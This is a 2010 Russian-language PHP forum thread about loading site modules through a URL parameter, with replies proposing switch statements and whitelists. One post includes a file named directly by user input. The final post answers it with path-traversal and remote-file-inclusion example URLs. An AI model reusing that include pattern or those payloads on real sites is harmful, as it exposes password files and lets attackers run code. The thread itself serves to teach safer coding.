|
|
|
| Делать кучу файлов неудобно. Как правильно выводить на страницу модули.
Например файл admin.php и все модули лежат в отдельной папке из которой они вызываются на страницу. Получается во примерно такой адрес admin.php ?mod=editnews (если вызывается модуль редактирования новостей) | |
|
|
|
|
|
|
|
для: allforweb
(16.09.2010 в 18:44)
| | Через include(), require() | |
|
|
|
|
|
|
|
для: mihdan
(16.09.2010 в 18:47)
| | А как же переключаться между ними? | |
|
|
|
|
|
|
|
для: allforweb
(16.09.2010 в 20:31)
| | параметры передавать через $_GET, переключаться при помощи switch() | |
|
|
|
|
|
|
|
для: Slo_Nik
(16.09.2010 в 20:55)
| | Если модулей 500, то по вашей логике будет 500 case'ов?
Я имел ввиду это:
<a href="?module=photo">Фотогалерея</a>
|
Обработка ссылки
<?php
if (file_exists($_SERVER['DOCUMENT_ROOT'].'/'.$_GET['module'].'.php')) {
include_once ($_SERVER['DOCUMENT_ROOT'].'/'.$_GET['module'].'.php');
}
// Не забудьте отфильтровать переменные из _GET
?>
|
| |
|
|
|
|
|
|
|
для: mihdan
(17.09.2010 в 14:34)
| | По лбу бы дать за такие вещи. Вы про XSS никогда не читали?
В одном проекте реализовывал в такой манере:
<?php
$modules = array ('module1', 'module2');
if (in_array($_GET['act'], $modules))
include ma($_GET['act']);
else
include ma('main');
|
P.S.
string ma(string $module_name)
В моем случаи эта функция возвращала путь до нужного модуля. | |
|
|
|
|
|
|
|
для: neadekvat
(17.09.2010 в 17:31)
| |
<?php
//
$includes = array();
$dh = opendir("includes");
while ($filename = readdir($dh)) {
if (preg_match("/^[_a-z0-9]{1,251}\.inc$/i", $filename)) {
$arr = explode(".", $filename);
$includes[] = $arr[0];
}
}
closedir($dh);
$inc = @$_GET["inc"];
if (!in_array($inc, $includes)) {
$inc = "main";
}
require "includes/$inc.inc";
|
| |
|
|
|
|
|
|
|
для: Красная_шляпа
(17.09.2010 в 19:52)
| | Да, ваше решение куда лучше: выше, быстрее, сильнее оптимальнее, быстрее, понятнее. | |
|
|
|
|
|
|
|
для: neadekvat
(17.09.2010 в 19:58)
| | Это все интересно очень, но мне пока рано в такие дискуссии встрявать.
У меня попроще вопрос:
Вот через SWITCH все подключил, модули выводятся нормально но есть нюансы.
1. Если модуль включен в страницу все нормально, но когда модуль выступает обработчиком формы, то после выполнения запроса через форму, он выводится как отдельная страница. Например страница admin.php я в ней подключаю через SWITCH модуль addnews где стоит форма добавления и этот же файл обработчик формы. После запрос к форме выводится файл-модуль addnews.php Как тут быть?
2. Подключение к базе у меня стоит на странице admin.php и в модуле тоже стоит подключение к БД через require и на странице admin.php выдается ошибка, что у вас уже есть подключение к БД, но мне же нужно это подключение и к странице обработчику addnews.php Как тут быть? | |
|
|
|
|
|
|
|
для: allforweb
(17.09.2010 в 23:12)
| | Через switch вы можете выстроить очень большую сосиску из модулей. Чуть выше предложены два варианта (вариант г-на Шляпы мне не нравится).
Но, пожалуй, со временем вы сами придете к удобному вам варианту.
2. Подключайте в главном файле коннект к бд, остальные же файлы также подключайте через главный.
1. У вас, очевидно, нет разделения логики и представления (это не осуждение, а констатация факта). К этому вы, возможно, тоже в будущем придете. А может не придете.
Но в вашем случаи, видимо, придется два раза подключать модули.
Итак, совместив первое со вторым получается примерно так:
<?php
require 'db_connect.php'; // Подключаемся к бд
switch ()
{
// Подключаем модули-обработчики, именно здесь будут обрабатываться формы
}
?>
Вывод обычной html-разметки
<?php
switch ()
{
/* Подключаем модули для основной части сайта, т.е. здесь будет выводится то,
что увидит пользователь.
*/
}
/* Другие файлы должны также подключаться через главный файл - так намного проще
управлять сайтом (например, в остальных файлах не надо заботитья о подключении
к бд - она осуществлена в главном файле). Хотя, очевидно, кому как.
*/
?>
|
| |
|
|
|
|
|
|
|
|
для: oliss
(19.09.2010 в 08:39)
| | site.ru/?module=../../../../../тута_хранятся_пароли
site.ru/?module=http://site1.ru/evil.txt | |
|
|
|